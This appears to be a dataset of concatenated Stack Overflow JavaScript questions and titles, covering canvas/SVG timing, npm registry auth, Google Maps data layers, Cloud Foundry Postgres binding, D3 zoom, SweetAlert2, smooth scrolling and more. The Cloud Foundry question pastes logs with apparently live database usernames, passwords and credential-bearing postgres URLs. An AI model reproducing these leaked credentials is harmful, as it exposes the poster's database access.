performance.now ( ) ; console.log ( `` canvas time `` + ( t4 - t3 ) + `` milliseconds . '' ) var t0 = performance.now ( ) ; for ( var x = 1 ; x < = 1000 ; x++ ) { for ( var y = 1 ; y < = 100 ; y++ ) { var myCircle = document.createElementNS ( svgNS , `` circle '' ) ; //to create a circle , for rectangle use rectangle myCircle.setAttributeNS ( null , `` cx '' , x ) ; myCircle.setAttributeNS ( null , `` cy '' , y ) ; myCircle.setAttributeNS ( null , `` r '' , 5 ) ; myCircle.setAttributeNS ( null , `` stroke '' , `` none '' ) ; document.getElementById ( `` mySVG '' ) .appendChild ( myCircle ) ; } } var t1 = performance.now ( ) ; console.log ( `` svg time `` + ( t1 - t0 ) + `` milliseconds . '' ) } < /script > < /head > < body onload= '' createCircle1 ( ) ; '' > < svg id= '' mySVG '' width= '' 500 '' height= '' 500 '' style= '' border:1px solid # d3d3d3 ; '' xmlns= '' http : //www.w3.org/2000/svg '' xmlns : xlink= '' http : //www.w3.org/1999/xlink '' > < /svg > < canvas id= '' myCanvas '' width= '' 500 '' height= '' 500 '' style= '' border:1px solid # d3d3d3 ; '' > < /canvas > < /body > < /html >",Use Chrome DevTools for rendering measurement for HTML5 graphics "JS : I 'll try to explain it as best as I can . I want to apply this principle to my own.Tab Add ExampleAs you can see I 'm adding 'tabs ' to tab bar . When I add enough tabs to fill the whole tab bar , and I keep adding more , those tabs basically resize to fit the div . I do n't want them to expand the div or to use the scroll bar to move among them . I want them to shrink within the div . You can see the exact example on the GIF I linked . It should also behave the same on window resize.Window Resize ExampleDo you have any ideas on how to achieve this ? I tried with JQuery but it was too much 'hard coding ' , it would n't work on resize , nor different screen resolutions.HTML I want to apply : When I add new tab it adds this < li class= '' contentTab '' > < /li > JSFiddleAny suggestions ? < div class= '' l_tabs '' > < div > < ul id= '' myTab1 '' class= '' nav nav-tabs bordered '' > < li class= '' tab-add '' > < /li > < li class= '' contentTab '' > < /li > < li class= '' contentTab '' > < /li > < li class= '' contentTab '' > < /li > < li class= '' contentTab '' > < /li > < /ul > < /div > < /div >",Shrink div elements while adding new ones "JS : I 'm trying to install my Ionic App through the registry with it 's dependencies.I try to achieve this with npm i -- loglevel verbose while my ~/.npmrc looks like this : When watching the command run it seems to go just fine , until we hit other non-registry dependencies , suddenly I 'm met with an authorisation error.Here is a paste of the command : https : //hasteb.in/hejigopo.sqlAs you see it fails on @ angular/http @ 6.1.2 in this instance , but this variables between random @ angular dependencies or @ ionic-nativeWhat I have tried so far ... Changing always-auth to true or falseRunning as Super UserTrying different tokensusing _authToken instead of _authGoogle , a lot , but it turns out my problem is very unique.npm login -- registry=http : //nexus.OMMITED.com/repository/npm-all with both -- auth=TOKEN_OMITTED and -- authToken=TOKEN_OMITTED where npm tells me npm WARN invalid config auth-type= '' TOKEN_OMITTED '' and prompts for a username , my username however is an email address which throws this error : npm WARN Name may not contain non-url-safe chars only to infinitely keep prompting for another username . //nexus.OMMITED.com/repository/ : _auth=OMMITEDregistry=http : //nexus.OMMITED.com/repository/npm-allalways-auth=true",NPM registry install fails on non-registry dependencies "JS : What I wantI want to take a vector SVG image and create a raster png from it without Anti-aliasing . The svg will be dynamically generated based on user input ( text , bold , font-family ) . png is preferred , but other raster formats can be accepted.What I am tryingThe svg here is very simple simply for demonstration . Here , I turn the svg into a canvas element , and turn the canvas element into an image . When that resulted in Anti-aliasing , the only configuration I found that might help was imageSmoothingEnabled , however I am still getting Anti-aliasing , likely because that configuration is for elements drawn with canvas itself . I have also tried placing that configuration above drawImage , but no luck.What I needA function to turn a dynamic non-animated SVG , that may contain many elements and attributes , including curved text , into a raster image that is at least mostly identical . var svg = ' < svg > < g > < text > Hello World < /text > < /g > < /svg > ' ; var img = document.createElement ( 'img ' ) ; img.setAttribute ( 'src ' , 'data : image/svg+xml ; base64 , ' + btoa ( svg_static_data ) ) ; img.onload = function ( ) { ctx.drawImage ( img , 0 , 0 ) ; ctx.mozImageSmoothingEnabled = false ; ctx.webkitImageSmoothingEnabled = false ; ctx.msImageSmoothingEnabled = false ; ctx.imageSmoothingEnabled = false ; static_image = canvas.toDataURL ( 'image/png ' ) ; } ;","Create static png from svg without Anti-aliasing , with or without canvas" "JS : What is the most reliable and efficient way to find all elements having a scroll on a page ? Currently , I 'm thinking about using element.all ( ) with filter ( ) comparing the height and scrollHeight attribute values : But I 'm not sure about the correctness and performance of this approach . element.all ( by.xpath ( `` //* '' ) ) .filter ( function ( elm ) { return protractor.promise.all ( [ elm.getAttribute ( `` height '' ) , elm.getAttribute ( `` scrollHeight '' ) ] ) .then ( function ( heights ) { return heights [ 1 ] > heights [ 0 ] ; } ) ; } ) ;",Finding all elements with a scroll JS : I want to use two values to get compared so that if either is true then my test should pass.Using the below code is comapring only 1st condition and failing the test . } How should I do this ? if ( typeof lng ! == 'undefined ' ) { data.lng.should.equal ( lng ) || data.cityLng.should.equal ( lng ) ;,How to use OR condition with should ( ) in mocha "JS : I have a function where I load a geoJSON into a map , then replace it when I hit specific zoom levels . The following works when the window.map.data.setMap ( null ) ; is commented out , but only to pile on all maps as the zoom level changes . Uncommenting out the setMap ( null ) lines removes the map once the zoom level changes , but does not allow a new file to replace it ; I 'm consistently getting undefined when binding the data layer to a variable ( see image at end ) : I tried the following already as per How to remove data from gmap ? . Adding those variables wither above the first line of my code , or as the first section of the function before the if statement gave me unexpected identifier problems ( I removed the actual code , this was my reference ) : And this is the result I 'm currently getting when I set breakpoints : What is the linkage I 'm missing ? The docs ( https : //developers.google.com/maps/documentation/javascript/reference/3.exp/ # Data ) suggest that loadGeoJSON and zoomchange are n't compatible methods , which seems really unlikely . if ( $ ( ' # map ' ) .length ) { var styledMapType = new google.maps.StyledMapType ( //this is all styling } ] , { name : 'Styled Map ' } ) ; var toronto = { lat : 43.687508 , lng : -79.304293 } ; if ( $ ( ' # map ' ) .length ) { window.map = new google.maps.Map ( document.getElementById ( 'map ' ) , { zoom : 12 , center : toronto , disableDefaultUI : false , scrollwheel : false , streetViewControl : false , fullscreenControl : false , mapTypeControl : false , zoomControl : true , } ) ; zoom : 16 , center : listing_address , disableDefaultUI : false , scrollwheel : false , streetViewControl : false , fullscreenControl : false , mapTypeControl : false , } ) ; .var county = { `` type '' : `` FeatureCollection '' , '' features '' : [ { `` type '' : `` Feature '' , `` properties '' : { `` AREA_NAME '' : `` Toronto Region '' , `` Name '' : `` '' , `` Description '' : `` '' } , `` geometry '' : { `` type '' : `` Polygon '' , `` coordinates '' : [ [ [ -79.331290752373903 , 43.6257878530946 ] , [ -79.331317617252296 , 43.6256985447421 ] , [ -79.331512561913399 , 43.625640321883701 ] , [ -79.331752709965201 , 43.625618170498399 ] , [ -79.331959376709506 , 43.625519457784897 ] , [ -79.332109811020601 , 43.625312645786401 ] , [ -79.333209007789605 , 43.644149630451302 ] , [ -79.333365435394498 , 43.644032839820198 ] , [ -79.431165436417103 , 43.630306805590003 ] , [ -79.431488362803094 , 43.630361005759099 ] , [ -79.431821347539696 , 43.630419711640798 ] , [ -79.432139201596499 , 43.630500911132103 ] , [ -79.432442343991099 , 43.630573099758003 ] , [ -79.475947295799898 , 43.623398134852998 ] , [ -79.280866209706105 , 43.671017401276799 ] , [ -79.307699740463903 , 43.656122040811901 ] , [ -79.307771442967393 , 43.655987140776503 ] , [ -79.331356425413802 , 43.625806618446397 ] , [ -79.331290752373903 , 43.6257878530946 ] ] ] } } ] } var district = { `` type '' : `` FeatureCollection '' , '' features '' : [ { `` type '' : `` Feature '' , `` properties '' : { `` AREA_ID '' : `` 108 '' , `` CITY_NAME '' : `` '' , `` CITY_NAME '' : `` '' , `` AREA_NAME '' : `` Briar Hill-Belgravia '' } , `` geometry '' : { `` type '' : `` Polygon '' , `` coordinates '' : [ [ [ -79.464620647999908 , 43.692155605999957 ] , [ -79.46522206099992 , 43.693230269999958 ] , [ -79.465251297999913 , 43.693298486999957 ] , [ -79.465279791999919 , 43.693366811999958 ] , [ -79.46530741699992 , 43.693435416999954 ] , [ -79.465719907999926 , 43.694757514999957 ] , [ -79.44101562199991 , 43.705410816999958 ] , [ -79.440110285999921 , 43.705585372999955 ] , [ -79.447685296999921 , 43.696258794999956 ] , [ -79.449336555999921 , 43.695897948999956 ] , [ -79.450278980999911 , 43.695691998999955 ] , [ -79.451201995999909 , 43.695476191999958 ] , [ -79.462902461999917 , 43.69287652099996 ] , [ -79.463998089999919 , 43.692404465999957 ] , [ -79.464620647999908 , 43.692155605999957 ] ] ] } } ] } var cities = { `` type '' : '' FeatureCollection '' , `` features '' : [ { `` type '' : '' Feature '' , '' properties '' : { `` AREA_ID '' :49884 , '' AREA_NAME '' : '' YORK '' , '' OBJECTID '' :11093905 } , '' geometry '' : { `` type '' : '' Polygon '' , '' coordinates '' : [ [ [ -79.49262446,43.64744493 ] , [ -79.49249144,43.64772528 ] , [ -79.49149894,43.65163426 ] , [ -79.50094749,43.65228262 ] , [ -79.503085,43.66113086 ] , [ -79.5123581,43.67258877 ] , [ -79.5126394,43.68922995 ] , [ -79.50556991,43.70925399 ] , [ -79.42776901,43.70053559 ] , [ -79.42848543,43.68173363 ] , [ -79.42909608,43.68160367 ] , [ -79.48394351,43.66992188 ] , [ -79.48405475,43.66989696 ] , [ -79.48367372999999,43.66897745 ] , [ -79.49262446,43.64744493 ] ] ] } } , ] } window.map.mapTypes.set ( 'styled_map ' , styledMapType ) ; window.map.setMapTypeId ( 'styled_map ' ) ; // issue in question below : if ( $ ( ' # map ' ) .length ) { window.map.data.loadGeoJson ( cities ) ; window.map.addListener ( 'zoom_changed ' , function ( ) { var zoomLevel = map.getZoom ( ) ; if ( zoomLevel < = 12 & & zoomLevel > = 9 ) { window.map.data.addGeoJson ( cities ) ; } else if ( zoomLevel < 9 ) { window.map.data.addGeoJson ( county ) ; } else if ( zoomLevel > 12 ) { window.map.data.addGeoJson ( district ) ; } ; } ) window.map.data.setStyle ( { fillOpacity : 0.2 , strokeWeight : 1 , strokeColor : ' # 1e1d1d ' , fillColor : ' # 1e1d1d ' } ) ; window.map.data.addListener ( 'mouseover ' , function ( event ) { window.map.data.overrideStyle ( event.feature , { strokeColor : ' # 0076c0 ' , fillColor : ' # 0076c0 ' , strokeWeight : 2.5 , } ) ; } ) ; window.map.data.addListener ( 'mouseout ' , function ( event ) { window.map.data.revertStyle ( ) ; } ) ; window.map.data.addListener ( 'click ' , function ( event ) { window.map.data.overrideStyle ( event.feature , { strokeColor : ' # 0076c0 ' , fillColor : ' # 0076c0 ' , fillOpacity : 0.2 } ) ; } ) ; } ; } ; } ) ; // load data - do the same for data2 , data3 or whateverdata1 = new google.maps.Data ( ) ; data1.loadGeoJson ( url1 ) ; // create some layer control logic for turning on data1data1.setMap ( map ) // or restyle or whatever// turn off data1 and turn on data2data1.setMap ( null ) // hides itdata2.setMap ( map ) // displays data2",Data layer not responding in event listener ( Google Maps API ) "JS : I 'd like to have a numbered list using Hebrew alphabet numerals , as is common in books in Hebrew . Whereas Latin notation uses digits 0-9 , Hebrew is numbered alphabetically , with a few exceptions here and there where the value is changed around . I have no idea if this is even possible in CSS , but perhaps it is in JavaScript.I 'd essentially like to have something like this : turn into something like this : http : //jsfiddle.net/rfkrocktk/pFkd7/ : Is there a way to do this in CSS or in JavaScript ? I could just use a table like in my example above , but is this really the best way of doing this ? < ol > < li > First Line < /li > < li > Second Line < /li > < li > Third Line < /li > < /ol > .hebrew-numeral { padding-left : 10px ; } < table dir= '' rtl '' > < tbody > < tr > < td class= '' hebrew-numeral '' > א < /td > < td > First Row < /td > < /tr > < tr > < td class= '' hebrew-numeral '' > ב < /td > < td > Second Row < /td > < /tr > < tr > < td class= '' hebrew-numeral '' > ג < /td > < td > Third Row < /td > < /tr > < /tbody > < /table >",Custom < ol > numbering with Hebrew numerals "JS : Are there any important/subtle/significant differences under the hood when choosing to use one of these four patterns over the others ? And , are there any differences between the them when `` instantiated '' via Object.create ( ) vs the new operator ? 1 ) The pattern that CoffeeScript uses when translating `` class '' definitions : and 2 ) The pattern that Knockout seems to promote : and 3 ) a similar , simple pattern I 've often seen : and4 ) The pattern that Backbone promotes : Update 1 : Changed pattern # 2 and added pattern # 3 in response to Elias ' response // minor formatting Animal = ( function ( ) { function Animal ( name ) { this.name = name ; } Animal.prototype.move = function ( meters ) { return alert ( this.name + ( `` moved `` + meters + `` m. '' ) ) ; } ; return Animal ; } ) ( ) ; var DifferentAnimal = function ( name ) { var self = this ; self.name = name ; self.move = function ( meters ) { return alert ( this.name + ( `` moved `` + meters + `` m. '' ) ) ; } ; } var DifferentAnimalWithClosure = function ( name ) { var name = name ; var move = function ( meters ) { } ; return { name : name , move : move } ; } var OneMoreAnimal= ClassThatAlreadyExists.extend ( { name : '' , move : function ( ) { } } ) ;",What are the differences between these three patterns of `` class '' definitions in JavaScript ? "JS : i 've created postgress service ( via cf create-service ) from the market-place and I want to use it in my node.js app . ( I was able to test it locally which works ) ive two question 1.i 've tried the following and the application doesnt able to start and in the log I got this as my value for the env varible what am I missing here ? This is the code : this as my value for the env varible what am I missing here ? update ( after the Jerome answer ... ) This is all my code ! ! ! Now I got this error OK i 've tried the following and the application doesnt able to start and in the log I got OUT env variable host : 10.0.97.139 OUT port : 34807 OUT user : qmxgvfybloierztm OUT password : mlofvwfsxmf7bqjr OUT database : r8n13yjyql7hwrgc OUT url : postgres : //qmxgvfybloierztm : mlofvwfsxmf7bqjr @ 10.0.97.135:34607/r8n13yjyql7hwrgc OUT start create table OUT ERROR : connect : Error : connect ECONNREFUSED 10.0.97.135:5432 ( function ( ) { if ( null == process.env.VCAP_SERVICES ) { var url = 'postgress : //localhost:27017/local ' ; } else { var vcap_services = JSON.parse ( process.env.VCAP_SERVICES ) ; console.log ( `` postgress URL : `` , url ) ; } ; var DBWrapper = require ( 'node-dbi ' ) .DBWrapper ; var dbConnectionConfig = { uri : vcap_services [ 'postgresql ' ] [ 0 ] .credentials.uri , host : vcap_services [ 'postgresql ' ] [ 0 ] .credentials.hostname , port : vcap_services [ 'postgresql ' ] [ 0 ] .credentials.port , database : vcap_services [ 'postgresql ' ] [ 0 ] .credentials.dbname , user : vcap_services [ 'postgresql ' ] [ 0 ] .credentials.username , password : vcap_services [ 'postgresql ' ] [ 0 ] .credentials.password } ; var dbWrapper = new DBWrapper ( 'pg ' , dbConnectionConfig ) ; dbWrapper.connect ( ) ; console.log ( `` start create table '' ) ; dbWrapper.query ( `` CREATE TABLE IF NOT EXISTS TAB1 ( firstname TEXT primary key , lastname varchar ( 20 ) ) '' , function ( err , results ) { if ( err ) { console.log ( `` error while inserting data `` + err ) ; } else { console.log ( `` success to insert data : `` ) ; } } ) ; } ) ( ) ; `` use strict '' ; var express = require ( `` express '' ) ; var path = require ( `` path '' ) ; var app = express ( ) ; var port = process.env.PORT || 3000 ; app.listen ( port , function ( ) { ( function ( ) { var DBWrapper = require ( 'node-dbi ' ) .DBWrapper ; var vcap_services = JSON.loparse ( process.env.VCAP_SERVICES ) ; var pgconf = vcap_services [ 'postgresql ' ] [ 0 ] .credentials ; var dbConnectionConfig = { dsn : pgconf.uri } ; var dbWrapper = new DBWrapper ( 'pg ' , dbConnectionConfig ) ; dbWrapper.connect ( ) ; console.log ( `` env variable host : `` + pgconf.hostname ) console.log ( `` port : `` + pgconf.port ) ; console.log ( `` user : `` + pgconf.user ) ; console.log ( `` password : `` + pgconf.password ) ; console.log ( `` database : `` + pgconf.database ) ; console.log ( `` url : `` + pgconf.uri ) ; console.log ( `` start create table '' ) ; dbWrapper.query ( `` CREATE TABLE IF NOT EXISTS USER ( firstname TEXT primary key , lastname varchar ( 20 ) ) '' , function ( err , results ) { if ( err ) { console.log ( `` error while inserting data `` + err ) ; } else { console.log ( `` success to insert data : `` ) ; } } ) ; var data = { firstname : 'John5 ' , lastname : 'Foo4444 ' } ; //insert data dbWrapper.insert ( 'USER ' , data , function ( err , data ) { if ( err ) { console.log ( `` error to insert data : `` + err ) ; // John has been inserted in our table , with its properties safely escaped } else { console.log ( `` test '' + data ) ; } } ) ; //read data dbWrapper.fetchAll ( `` SELECT * FROM USER '' , null , function ( err , result ) { if ( ! err ) { console.log ( `` Data came back from the DB . `` , result ) ; } else { console.log ( `` DB returned an error : % s '' , err ) ; } dbWrapper.close ( function ( close_err ) { if ( close_err ) { console.log ( `` Error while disconnecting : % s '' , close_err ) ; } } ) ; } ) ; } ) ( ) ; } ) ; 2016-07-26T11:55:49.69+0300 [ App/0 ] OUT env variable host : undefined2016-07-26T11:55:49.69+0300 [ App/0 ] OUT port : 350582016-07-26T11:55:49.69+0300 [ App/0 ] OUT user : undefined2016-07-26T11:55:49.69+0300 [ App/0 ] OUT password : hvevfgpjjtyqpr1d2016-07-26T11:55:49.69+0300 [ App/0 ] OUT database : undefined2016-07-26T11:55:49.69+0300 [ App/0 ] OUT url : postgres : //fakttklwkxtfprgv : hvevfgpjjtyqpr1d @ 10.0.97.140:35058/ispkmc5psgdrwj4e2016-07-26T11:55:49.69+0300 [ App/0 ] OUT start create table2016-07-26T11:55:49.69+0300 [ App/0 ] OUT ERROR : connect : Error : getaddrinfo ENOTFOUND undefined undefined:5432",bind services in cloud foundry not working "JS : I need to realize image change with liquid effect like in hereI have a simple block with image I need to change this image ( to other image ) in onmouseover with this effect and return to initial position in onmouseout also using this effect Image transition function which trigger 's liquid animation is belowI try to use this function but this did n't help me.Also I try to change images in this Array line 15 but this also did n't helped.This function start 's the animationNext slide functionPlease help.. const avatarQuantumBreak = document.querySelector ( `` .avatar_quantum_break '' ) ; const avatar = document.querySelector ( `` .avatar '' ) ; avatarQuantumBreak.style.opacity = `` 0 '' ; let hover = ( ) = > avatarQuantumBreak.style.opacity = `` 1 '' ; let normal = ( ) = > avatarQuantumBreak.style.opacity = `` 0 '' ; avatar.onmouseover = ( ) = > hover ( ) ; avatar.onmouseout = ( ) = > normal ( ) ; html , body { height:100 % ; } .avatar { position : relative ; border-radius : 50 % ; display : flex ; justify-content : center ; height : 195px ; } .avatar_simple , .avatar_quantum_break { position : absolute ; display : block ; text-align : center ; transition : opacity 1s ease-out ; } .avatar .avatar_simple img , .avatar .avatar_quantum_break img { border-radius : 50 % ; display : inline-block ; width : 86 % ; height : 100 % ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/gsap/2.0.2/TweenMax.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/three.js/97/three.min.js '' > < /script > < div class=avatar > < span class=avatar_simple > < img src= '' https : //pixel.nymag.com/imgs/fashion/daily/2014/05/27/27-amber-heard.w330.h330.jpg '' > < /span > < span class=avatar_quantum_break > < img src= '' https : //pixel.nymag.com/imgs/daily/vulture/2016/05/31/31-amber-heard.w330.h330.jpg '' > < /span > < /div > transitionNext ( ) { TweenMax.to ( this.mat.uniforms.dispPower , 2.5 , { value : 1 , ease : Expo.easeInOut , onUpdate : this.render , onComplete : ( ) = > { this.mat.uniforms.dispPower.value = 0.0 this.changeTexture ( ) this.render.bind ( this ) this.state.animating = false } } ) this.images = [ //1 'https : //s3-us-west-2.amazonaws.com/s.cdpn.io/58281/bg1.jpg ' , 'https : //s3-us-west-2.amazonaws.com/s.cdpn.io/58281/bg2.jpg ' , 'https : //s3-us-west-2.amazonaws.com/s.cdpn.io/58281/bg3.jpg ' ] listeners ( ) { window.addEventListener ( 'wheel ' , this.nextSlide , { passive : true } ) } nextSlide ( ) { if ( this.state.animating ) return this.state.animating = true this.transitionNext ( ) this.data.current = this.data.current === this.data.total ? 0 : this.data.current + 1this.data.next = this.data.current === this.data.total ? 0 : this.data.current + 1 }",Onmouseover onmouseout image change Liquid effect "JS : I need to add eslint rule for the following case : When defining an object or array with multiple lines , brackets must be on a new line.Is there such rule in eslint or how could I accomplish it ? // bad [ 'onClickSave ' , 'onClickCancel ' ] .forEach ( bind ( this ) ) ; // good [ 'onClickSave ' , 'onClickCancel ' ] .forEach ( bind ( this ) ) ;",Is there eslint rule for array multiline checking ? "JS : THE PROBLEM : I want to redirect a user to another page after clicking OK on the sweet alert , but the user is not redirected until I open up another sweet alert for some reason.You can breakpoint over the code , but nothing happens on the page.Simple example of the problem : http : //jsfiddle.net/ADukg/14306/NOTE : including a 0 second timeout `` solves the problem '' To Reproduce:1 ) Note the text after the arrow.. $ scope.name = `` original '' , and you can see it 's displayed on the page.2 ) Click the `` click first '' button . This runs the function $ scope.changeMe ( ) , which updates $ scope.name to `` delayed ... ... . '' 3 ) By now , the text above the buttons should have been changed . But it 's not until you open up another sweet alert does the text actually change4 ) Click the `` then here '' or `` click first '' button so another sweet alert pops up , and the DOM will finally change.I 'm pretty sure this is somehow related to AngularJS , and 1.4.3 has to be used.Any ideas ? HTML : JS : < div ng-controller= '' MyCtrl '' > < div > < button ng-click= '' changeMe ( ) '' > click first < /button > < button ng-click= '' decoy ( ) '' > then here < /button > < /div > < div > < button ng-click= '' reset ( ) '' > reset text < /button > < div > < /div > var myApp = angular.module ( 'myApp ' , [ ] ) ; myApp.controller ( `` MyCtrl '' , function ( $ scope , $ timeout ) { $ scope.name = 'original ' ; $ scope.copy = angular.copy ( $ scope.name ) ; $ scope.changeMe = function ( ) { swal ( `` Text should change now '' ) // runs on hitting `` OK '' .then ( function ( ) { // UNCOMMENT THIS and re-run the fiddle to show expected behavior // $ timeout ( function ( ) { $ scope.displayErrorMsg = false ; } , 0 ) ; $ scope.name = 'delayed ... ... . ' } ) } $ scope.decoy = function ( ) { swal ( `` Look at the text now '' ) ; } $ scope.reset = function ( ) { $ scope.name = $ scope.copy ; } } )","SweetAlert2 , .then ( ) - not updating DOM immediately" "JS : I have successfully layered a D3 ( vector ) map on top of a d3-tile ( raster ) map that pulls tiles from Mapbox . The manual zoom works perfectly , and both vector and raster are in sync.I am now trying to implement the Mike Bostock 'zoom-to-bounding-box ' feature , whereby the application zooms on a desired country upon user click . I think I am nearly there , but right now there seems to be a mismatch and the map zooms out into outer space , so to speak . I have reproduced the issue in this jsfiddle.What do I need to amend in the 'zoomed ' function so that the map zooms correctly and as expected ? I think this is where the issue lies : vector.selectAll ( `` path '' ) .attr ( `` transform '' , `` translate ( `` + [ transform.x , transform.y ] + `` ) scale ( `` + transform.k + `` ) '' ) .style ( `` stroke-width '' , 1 / transform.k ) ;",D3 : zoom to bounding box with d3-tiles "JS : Let 's see an example first.I think this is weird , even when I know Number ( `` Red '' ) , Number ( `` $ 200 '' ) and Number ( `` white '' ) all give NaN when comparing . Why is 4 at the first of the result ? I guess it has something to do with the implementation of Array.prototype.sort , so how can I see its implementation ? var everything = [ 4 , 'Red ' , ' $ 200 ' , 'white ' , 7.4 , 12 , true , 0.3 , false ] ; console.log ( everything.sort ( function ( a , b ) { return a - b ; } ) ) ; // [ 4 , `` Red '' , `` $ 200 '' , `` white '' , false , 0.3 , true , 7.4 , 12 ]",How 's JavaScript 's native sort function implemented ? "JS : I am trying to convert C # email regular expression , which I have taken from MSDN samplewhich is like this : but I am getting error for : ? : Invalid target for qualifier . ? < = : Lookbehind is not supported in JavaScriptI have need help in converting above Regex @ '' ^ ( ? ( `` '' ) ( `` '' .+ ? ( ? < ! \\ ) '' '' @ ) | ( ( [ 0-9a-z ] ( ( \. ( ? ! \ . ) ) | [ - ! # \ $ % & '\*\+/=\ ? \^ ` \ { \ } \|~\w ] ) * ) ( ? < = [ 0-9a-z ] ) @ ) ) ( ? ( \ [ ) ( \ [ ( \d { 1,3 } \. ) { 3 } \d { 1,3 } \ ] ) | ( ( [ 0-9a-z ] [ -\w ] * [ 0-9a-z ] *\ . ) + [ a-z0-9 ] [ \-a-z0-9 ] { 0,22 } [ a-z0-9 ] ) ) $ '' ^ ( ? ( `` ) ( `` .+ ? '' @ ) | ( ( [ 0-9a-zA-Z ] ( ( \. ( ? ! \. ) ) | [ ^ ! # \ $ % & \s'\*/=\ ? \^ ` \ { \ } \|~ ] ) * ) ( ? < = [ -+0-9a-zA-Z_ ] ) @ ) ) ( ? ( \ [ ) ( \ [ ( \d { 1,3 } \. ) { 3 } \d { 1,3 } \ ] ) | ( ( [ 0-9a-zA-Z ] [ -\w ] * [ 0-9a-zA-Z ] *\ . ) + [ a-zA-Z ] { 2,6 } ) ) $",Regex - Invalid target for quantifier which converting C # Regex to JavaScript Regex "JS : In EcmaScript 5 , we can alias this as var ctrl = this as shown in following snippet.Equivalent BookController in ES6 using class . I had a scenario in which getBook is called with this other than BookController . In getBook function , I want to make sure the context is always BookController so I want to alias this of BookController in ES6.How to alias this in JavaScript 2015 ( EcmaScript 6 ) ? // EcmaScript 5function BookController { var ctrl = this ; ctrl.books = [ ] ; ctrl.getBook = getBook ; function getBook ( index ) { return ctrl.books [ index ] ; } } // EcmaScript 6class BookController { constructor ( ) { this.books = [ ] ; } getBook ( index ) { return this.books [ index ] ; } }",How to alias this in JavaScript 2015 ( EcmaScript 6 ) ? "JS : I 've been doing a lot of research on this and ca n't find a good solution . Basically , I have a panel in my app ( Panel 2 ) and would like to collapse it to the left when the button is clicked and if the button gets clicked again then expand it to the right.Here 's my working Code : PLUNKER < div fxFlex fxLayout= '' row '' fxLayoutAlign= '' space-between stretch '' style= '' background-color : green ; '' > < div fxFlex [ fxShow ] = '' explorerShow '' style= '' background-color : white ; '' > < div ( click ) = '' toggleDirection ( ) '' > < img src= '' ../../../assets/images/button1.png '' alt= '' Button '' style = 'float : right ' > < /div > Panel 2 < /div >",How to collapse a panel ? "JS : I 've got this code : But calling myBush = new Bush ( { } ) results in an object with the name `` General Plant '' instead of `` General Bush '' . Is there any way to set the default values in the subclass without having to manually call this.name = name in the constructor ? class Plant { constructor ( { name = 'General Plant ' , height = 0 , depth = 1 , age = 0 } ) { this.name = name ; this.stats = { height : height , depth : depth , age : age } ; } } class Bush extends Plant { constructor ( { name = 'General Bush ' , height = 2 , depth = 2 } ) { super ( arguments ) } }",How do I pass ES6 default parameters from a subclass to its superclass ? JS : I am making application using phonegap in android . I am using cordova 1.6.1I am getting this error when i call html file from my javascript callback function . : JSCallback Server Closed : Stopping callbacksi am calling html file usingI have also tried to call html using window.location = `` ../html/sync.html '' ; but it gives me same error..I have all the permission required to use internet in menifest . navigator.app.loadUrl ( `` file : ///android_asset/www/html/sync.html '' ) ;,JSCallback Server Closed : Stopping callbacks "JS : Still working on my site : http : //i333180.iris.fhict.nl/p2_vc/There is a button for navigating down the page , the action is instant but smooth scrolling is much nicer.So , I google around , tried a lot of things and the shortest script I found is this one , but I ca n't get it working : Ref : https : //css-tricks.com/snippets/jquery/smooth-scrolling/This is how I added to my code between : Button : I inspected the example site which was given and added it the same way to my html.Ref inspected link : https : //css-tricks.com/examples/SmoothPageScroll/But I ca n't make it work..Also , I have another script , which needs the same action , after the end of a video.Script for that is now : This has to do the same thing ; scroll nicely.I hoped I explained it understandable , if not , I 'd like to try it again.RegardsEDIT Script is n't added to the online site because the script is n't working yet , if it would make it easier I could add it online.Update Site is online with not working scripts ... $ ( function ( ) { $ ( ' a [ href*= # ] : not ( [ href= # ] ) ' ) .click ( function ( ) { if ( location.pathname.replace ( /^\// , '' ) == this.pathname.replace ( /^\// , '' ) & & location.hostname == this.hostname ) { var target = $ ( this.hash ) ; target = target.length ? target : $ ( ' [ name= ' + this.hash.slice ( 1 ) + ' ] ' ) ; if ( target.length ) { $ ( 'html , body ' ) .animate ( { scrollTop : target.offset ( ) .top } , 1000 ) ; return false ; } } } ) ; } ) ; < head > < script src= '' //ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js '' > < /script > < script > $ ( function ( ) { $ ( ' a [ href*= # ] : not ( [ href= # ] ) ' ) .click ( function ( ) { if ( location.pathname.replace ( /^\// , '' ) == this.pathname.replace ( /^\// , '' ) & & location.hostname == this.hostname ) { var target = $ ( this.hash ) ; target = target.length ? target : $ ( ' [ name= ' + this.hash.slice ( 1 ) + ' ] ' ) ; if ( target.length ) { $ ( 'html , body ' ) .animate ( { scrollTop : target.offset ( ) .top } , 1000 ) ; return false ; } } } ) ; } ) ; < /script > < /head > < body > < a id='button_down ' href= ' # section ' onclick= '' document.getElementById ( 'moodvideo ' ) .pause ( ) '' > < img src='scroll.png ' alt='Scroll ' > < /a > < /body > < script > function videoEnded ( ) { window.location.href= '' # section '' ; } < /script >",Javascript smoothscroll does not work for some reason "JS : Somehow I have n't been able to color the text of my horizontal axis . This is what I have set for options : Screenshot : Complete code : var options = { colors : [ ' # B20054 ' , ' # 993D69 ' , ' # BD00FF ' , ' # FFFE40 ' , ' # CCB814 ' , ' # 998F3D ' , ' # 40B2FF ' ] , timeline : { colorByRowLabel : true , rowLabelStyle : { fontSize : 9 , color : ' # 603913 ' } , barLabelStyle : { fontSize : 9 } } hAxis : { textStyle : { color : ' # FFF ' } } } ; var container = document.getElementById ( 'timetracking_Dennis ' ) ; var chart = new google.visualization.Timeline ( container ) ; var dataTable = new google.visualization.DataTable ( ) ; dataTable.addColumn ( { type : 'string ' , id : 'Term ' } ) ; dataTable.addColumn ( { type : 'string ' , id : 'Name ' } ) ; dataTable.addColumn ( { type : 'date ' , id : 'Start ' } ) ; dataTable.addColumn ( { type : 'date ' , id : 'End ' } ) ; dataTable.addRows ( [ [ ' # 5700 ' , 'Vernieuwing wifi-netwerk ' , new Date ( 0,0,0,10,16,0 ) , new Date ( 0,0,0,10,17,0 ) ] , [ ' # 5704 ' , 'Account Mike Hees ' , new Date ( 0,0,0,10,23,0 ) , new Date ( 0,0,0,10,28,0 ) ] , [ ' # 5798 ' , 'Laptop Bas van der Beer traag ' , new Date ( 0,0,0,10,15,0 ) , new Date ( 0,0,0,11,14,0 ) ] , [ ' # 5832 ' , 'Problemen iMac ' , new Date ( 0,0,0,11,24,0 ) , new Date ( 0,0,0,11,25,0 ) ] , [ ' # 5832 ' , 'Problemen iMac ' , new Date ( 